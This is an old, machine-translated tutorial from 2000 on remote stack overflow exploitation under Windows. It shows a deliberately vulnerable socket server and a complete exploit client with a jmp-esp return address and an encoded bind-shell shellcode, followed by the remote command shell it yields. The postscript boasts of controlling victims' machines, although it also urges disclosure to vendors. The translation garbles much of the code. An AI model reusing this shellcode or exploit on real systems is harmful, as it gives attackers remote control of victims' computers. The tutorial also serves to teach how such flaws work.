[Practice] remote stack overflow in the window system

Remote Stack Overflow in the window system-Practice

By ipxodi (ipxodi@263.net)
Home: http://www.nsfocus.com
Date: 2000-05-05

The following is a problematic Internet Service Program:
/*************************************** *************************************/
/* Server. cpp by ipxodi
*/

# Include <winsock2.h>
# Include <stdio. h>
Char buff [1024];
Void overflow (char * s, int size)
{
Char S1 [50];
Printf ("receive % d bytes", size );
S [size] = 0;
Strcpy (S1, S );
}

Int main ()
{
Wsadata WSA;
Socket listenfd;
Int ret;
Char ASD [2048];

Wsastartup (makeword (2, 2), & WSA );

Listenfd = socket (af_inet, sock_stream, ipproto_tcp );

Struct sockaddr_in server;

Server. sin_family = af_inet;
Server. sin_port = htons (3764 );
Server. sin_addr.s_addr = addr_any;
Ret = BIND (listenfd, (sockaddr *) & server, sizeof (server ));
Ret = listen (listenfd, 2 );

Int iaddrsize = sizeof (server );
Socket clientfd = accept (listenfd, (sockaddr *) & server, & iaddrsize );
Unsigned long lbytesread;
While (1 ){
Lbytesread = Recv (clientfd, buff, 1024,0 );
If (lbytesread <= 0) break;

Overflow (buff, lbytesread );

Ret = Send (clientfd, buff, lbytesread, 0 );
If (Ret <= 0) break;

}
Wsacleanup ();
Return 0;
}
/*************************************** *************************************/

The function overflow has a problem. Have you seen it?

Okay. Now let's write the overflow attack program:

1) First, check where the overflow (return) address should be?
(: Ah? ? Didn't you try the program last time? It's hard for me to understand your algorithm. Why not use it this time?
: Alas, dude, the last time there was no enemy's original code, I was too lazy to read the Assembly before trying,
Now the original code is in front of you. You can't calculate it by yourself ?)

The STACK layout of the overflow time is as follows:
Memory bottom memory top
Buffer EBP RET
<------ [Nnnnnnnnnnn] [N] [a] ssss
^ & Buffer
Top stack bottom

We can see that the buffer is enabled with 50-and 32-bit systems alignment the array by four bits, so the actual buffer is
52. When EBP occupies 4 bytes, that is, 52 + 4 = 56, RET is 56th bytes.

2) What are the addresses of loadlibrary and getprocaddress in server?
Start wdasm32, server.exe

: 004028ec 68f0014200 push 004201f0

* Reference to: kernel32.loadlibrarya, ord: 01c2h
|
: 004028f1 ff15e8614200 call dword ptr [001_1e8]

Well, the entry address of kernel32.loadlibrarya (the alias of loadlibrary) is 0x0020.1e8.

: 00402911 51 push ECx

* Reference to: kernel32.getprocaddress, ord: 013eh
|
: 00402912 ff15e4614200 call dword ptr [0000001e4]

Okay, kernel32.getprocaddress entry address: 0x0000001e4.

The two addresses both have 00 and cannot be referenced directly in the shellcode. Therefore, the following work und is used:
0xbb, 0x99, 0xe8, 0x61, 0x42,/* mov EBX, 001_1e8h; (& loadlibrary )*/
0xc1, 0xeb, 0x08,/* shr ebx, 08 */
And
0xb3, 0xe4,/* mov BL, E4 & getprocaddr */

3) write the client:
/*************************************** *************************************/
/* Client. cpp by ipxodi
*/

# Include <winsock2.h>
# Include <stdio. h>
# Define win2000

# Ifdef win2000
# Define jumpesp "/x2a/xe3/xe2/x77"
# Endif
# Ifdef Win98
# Define jumpesp "/xa3/x95/xf7/xbf"
# Endif

Unsigned char EIP [8] = jumpesp;
Unsigned char sploit [580] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, /// Port = 53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a };
Int main ()
{
Wsadata WSA;
Socket sockfd;
Char buff [1024], * SBO;

Wsastartup (makeword (2, 2), & WSA );

Sockfd = socket (af_inet, sock_stream, ipproto_tcp );

Struct sockaddr_in server;

Server. sin_family = af_inet;
Server. sin_port = htons (3764 );
Server. sin_addr.s_addr = inet_addr ("127.0.0.1 ");

Connect (sockfd, (struct sockaddr *) & server, sizeof (server ));
For (INT I = 0; I <56; buff [I ++] = 0x90 );
Strcpy (buff + 56, (char *) EIP );
Strcpy (buff + 60, (char *) sploit );
SBO = Buff;
Send (sockfd, SBO, 56 + 4 + 560,0 );

Closesocket (sockfd );
Wsacleanup ();
Return 1;

}
/*************************************** *************************************/
After running the server and client. Telnet localhost 53764, what do you see?

Microsoft Windows 2000 [version 5.00.2195]
(C) Copyright 1985-1998 Microsoft Corp.

D:/myprojects/Server> dir
Dir
The volume in drive D has no labels.
The serial number of the volume is 3c2f-72bb.

D:/myprojects/Server Directory

.
..
Debug
2000-04-23 3,288 server.001
926 server. cpp
2000-04-25 3,325 server. DSP
2000-04-25 535 server. DSW
41,984 server. NCB
49,664 server. Opt
509 server. PLG
100,231 bytes for 7 files
3 directories, 8,688,173,056 available bytes

D:/myprojects/Server>

Well, we're done.

---- Postscript
Through research, we can know that this is a common Remote Overflow Shellcode in windows.
With This shellcode, we can write other remote overflow programs.
Implement remote control of any programs with known buffer overflow problems.

In fact, in order to discover an overflow vulnerability, you must delve into the enemy's program code and find its
Problematic code. This can be explained in detail in a single lecture.
Cracker in windows, your attack tracking technology will be in this field
Get the most exploitation. I guess there will be a lot of cracker in the near future, and a series
Windows Buffer Overflow Vulnerability.

As shown above, it is only a server program used in the experiment. In fact,
We have completed the implementation of the OICQ remote overflow program and the transplantation of the IISHack Chinese NT Version.

When I Telnet an enemy machine on victim 53764 and delete its autoexec.001,
Everything is under control. What I want is:
The remote overflow era of Windows NT/2000 has started! We no longer need Trojans!

Because the above program is too aggressive, I will not publish the original code. I hope
If someone writes a remote overflow program based on my shellcode, notify the software supplier first,
Release your overflow program after the patch is released.

Because the purpose of discovering a vulnerability is not to destroy it, but to eliminate it and improve security.

---- Bibliography:
0) ipxodi "Stack Overflow in Window System" nsfocusmagzine 20003.
1) classic article on phrack magzine55 of dark spyrit aka Barnaby Jack.
2) backend nsfocusmagzine 2000, Windows 20004 Buffer Overflow entry.
3) Windows Network Programming Technology (translated by Beijing)

---- Thank you
Many people want to Thank you:
Dark spyrit, to pay tribute to your talents and selflessness.
Thanks to the backend, yuange, and zer9 of lumeng for your research achievements and selfless help,
Of course, there are also the TT and deepin of lumeng, which will help you in attack practices.
Thank you for your help and encouragement.